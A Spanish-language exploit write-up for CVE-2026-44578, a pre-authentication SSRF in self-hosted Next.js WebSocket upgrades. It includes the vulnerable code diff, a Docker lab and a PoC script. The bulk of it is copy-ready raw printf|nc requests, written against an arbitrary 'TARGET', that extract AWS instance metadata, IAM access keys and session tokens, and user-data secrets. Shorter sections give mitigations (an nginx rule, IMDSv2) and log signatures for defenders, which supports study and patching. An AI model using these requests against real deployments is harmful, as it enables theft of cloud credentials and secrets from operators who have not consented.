
CVE-2026-44578: Next.js WebSocket Upgrade SSRF — robo de credenciales pre-autenticación a través de localhost:80. Lab + exploit + audit.
| Campo | Valor |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Tipo | SSRF (CWE-918) |
| Afectado | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (solo autoalojado) |
| Corregido | 15.5.16, 16.2.5 |
| Autenticación Requerida | Ninguna |
| Interacción del Usuario | Ninguna |
El manejador de actualización WebSocket en router-server.ts llama a proxyRequest() siempre que parsedUrl.protocol es verdadero — sin comprobar las banderas de finalización de enrutamiento finished y statusCode que el manejador HTTP siempre había aplicado.
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
Después de que normalizeRepeatedSlashes colapsa http:/// a http:/, el nombre de host es nulo y http-proxy se conecta a localhost:80 con la ruta correcta. Cualquier servicio co-ubicado (metadatos de nube, paneles de administración, APIs internas) queda expuesto.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlno puede enviar URIs en forma absoluta. Use TCP crudo:nc,ncat,socat, o sockets de Python.
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
Esto inicia 5 contenedores:
| Contenedor | Rol | Expuesto |
|---|---|---|
nextjs-vuln | Next.js 15.5.15 (vulnerable) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (parcheado) | localhost:3001 |
imds-sidecar-vuln | Fake AWS IMDSv1 compartiendo red con vuln | localhost:80 (desde la perspectiva de vuln) |
imds-sidecar-fixed | Fake AWS IMDSv1 compartiendo red con fixed | localhost:80 (desde la perspectiva de fixed) |
internal-api | Mock de servicio interno | — |
Los sidecars IMDS usan network_mode: "service:nextjs-*" por lo que el servicio de metadatos falso está en localhost:80 dentro del contenedor Next.js — modelando una instancia de nube real.
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
Todos los contenedores activos — vulnerable (15.5.15) en :3000, parcheado (15.5.16) en :3001, sidecars IMDS compartiendo espacios de nombres de red.
Una única solicitud devuelve el directorio completo de metadatos de EC2 (ami-id, instance-id, iam/, placement/, etc.)
Conjunto completo de credenciales IAM: AccessKeyId, SecretAccessKey, Token y Expiration.
Script de arranque de user-data de EC2 que contiene DB_PASSWORD y API_KEY.
ID de instancia extraído mediante el mismo vector SSRF.
Misma carga útil contra Next.js 15.5.16. Conexión cerrada inmediatamente — sin datos devueltos.
Los registros IMDS falsos muestran solicitudes GET llegando desde 127.0.0.1 (el proceso de Next.js), probando que el SSRF es del lado del servidor.
Las 7 pruebas SSRF devuelven datos sensibles en la instancia vulnerable.
Las 7 pruebas bloqueadas en la instancia parcheada. Corrección confirmada.
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
Reemplace T con el host objetivo y ROLE con el nombre del rol IAM.
| Limitación | Detalle |
|---|---|
| Método HTTP | Solo GET |
| Objetivo | localhost:80 (nombre de host eliminado por normalización) |
| AWS IMDSv2 | No explotable (requiere PUT) |
| Metadatos GCP | No explotable (rechaza cabecera Upgrade) |
| Alojado en Vercel | No afectado |
| Detrás de proxy inverso | nginx/Caddy/HAProxy bloquean URIs en forma absoluta |
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
En AWS: aplicar IMDSv2 (HttpTokens=required).
Firmas de registro:
Failed to proxy http:/ — proxy activado pero objetivo inalcanzablehttp:///path no produce ningún registro de error — monitorear actualizaciones WebSocket con http: en la línea de solicitudSolo para pruebas de seguridad autorizadas, educación e investigación defensiva. Úselo solo contra sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas.